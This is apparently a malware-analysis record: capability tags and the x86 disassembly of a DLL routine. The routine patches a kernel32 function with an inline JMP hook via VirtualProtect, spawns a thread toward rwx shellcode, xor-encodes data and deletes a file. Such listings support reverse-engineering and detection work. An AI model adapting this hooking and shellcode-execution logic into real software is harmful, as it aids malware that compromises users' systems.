Function at 0x10002260
Capabilities:
Allocate or change rwx memory
Create thread
Delete file
Encode data using xor
Execute shellcode via indirect call
Get common file path
Print debug messages
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
push edi
sub eax, 0
je 0x100024a8
sub eax, 1
jne 0x10002515
push 0x10035cf0
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0x10035cf0
push str._sd3d8.dll
push 0x10035e10
call fcn.100048f0
push 0x1002fd68
push 0x10035e10
call fcn.1000b1e0
add esp, 0x14
test eax, eax
jne 0x10002520
push str.file_doesnt_exist
call fcn.10001410
add esp, 4
push dword [0x10035ce8]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp byte [0x10035ce6], 0
jne 0x1000253b
push str._____fyy__238458f__2444_____fg
push 0x1002fdb4
push 0x10035f80
call fcn.100048f0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0xc
mov byte [0x10035cec], 0xab
xor esi, esi
push 0x10035f80
call edi
test eax, eax
je 0x10002328
nop
mov al, byte [esi + 0x10035f80]
inc esi
xor byte [0x10035cec], al
push 0x10035f80
call edi
cmp esi, eax
jb 0x10002310
push 0x10035cd4
push 0
push 0
push 0x100011d0
push 0
push 0
call fcn.1000b8ae
add esp, 0x18
mov dword [0x10035cd8], eax
push 0x1002fdb8
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10036118], eax
test eax, eax
je 0x10002515
push ebx
push eax
push str.pOrigCFAddress:__x
push 0x80
push 0x10036090
call fcn.10001490
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add esp, 0x10
push 0x10036090
call edi
mov eax, dword [0x10036118]
mov ebx, 0x10002550
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub ebx, eax
push 0x10036110
push 0x40
push 6
push eax
mov dword [0x10035f60], 0x909090e9
sub ebx, 5
mov word [0x10035f64], 0xc390
call esi
mov eax, dword [0x10036118]
mov ecx, dword [eax]
mov dword [0x10035f28], ecx
mov ax, word [eax + 4]
mov word [0x10035f2c], ax
movzx eax, ax
shr eax, 8
push eax
movzx eax, byte [0x10035f2c]
push eax
mov eax, ecx
shr eax, 0x18
push eax
mov eax, ecx
shr ecx, 8
shr eax, 0x10
movzx eax, al
push eax
movzx eax, cl
push eax
movzx eax, byte [0x10035f28]
push eax
push str.Old_bytes:__x_x_x_x_x
push 0x80
push 0x10036090
call fcn.10001490
add esp, 0x24
push 0x10036090
call edi
movzx eax, byte [0x10035f65]
push eax
mov eax, ebx
mov dword [0x10035f61], ebx
shr eax, 0x18
push eax
mov eax, ebx
shr eax, 0x10
movzx eax, al
push eax
mov eax, ebx
shr eax, 8
movzx eax, al
push eax
movzx eax, bl
push eax
movzx eax, byte [0x10035f60]
push eax
push str.JMP:__x_x_x_x_x
push 0x80
push 0x10036090
call fcn.10001490
add esp, 0x24
push 0x10036090
call edi
mov ecx, dword [0x10036118]
mov eax, dword [0x10035f60]
mov dword [ecx], eax
movzx eax, word [0x10035f64]
mov word [ecx + 4], ax
push 0
push dword [0x10036110]
push 6
push ecx
call esi
pop ebx
pop edi
mov eax, 1
pop esi
pop ebp
ret 0xc
mov ecx, dword [0x10036118]
mov eax, dword [0x10035f28]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ecx], eax
mov ax, word [0x10035f2c]
mov word [ecx + 4], ax
mov eax, dword [0x10035cd8]
test eax, eax
je 0x100024f5
push 0xffffffffffffffff
push eax
mov dword [0x10035cdc], 1
call esi
push dword [0x10035cd8]
call edi
mov dword [0x10035cd8], 0
mov eax, dword [0x10036124]
test eax, eax
je 0x10002515
push 0xffffffffffffffff
push eax
call esi
push dword [0x10036124]
call edi
mov dword [0x10036124], 0
pop edi
mov eax, 1
pop esi
pop ebp
ret 0xc
push eax
call fcn.1000b40e
add esp, 4
push 0x10035e10
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call fcn.1000bc6f
push 0
call fcn.1000bc6f
int3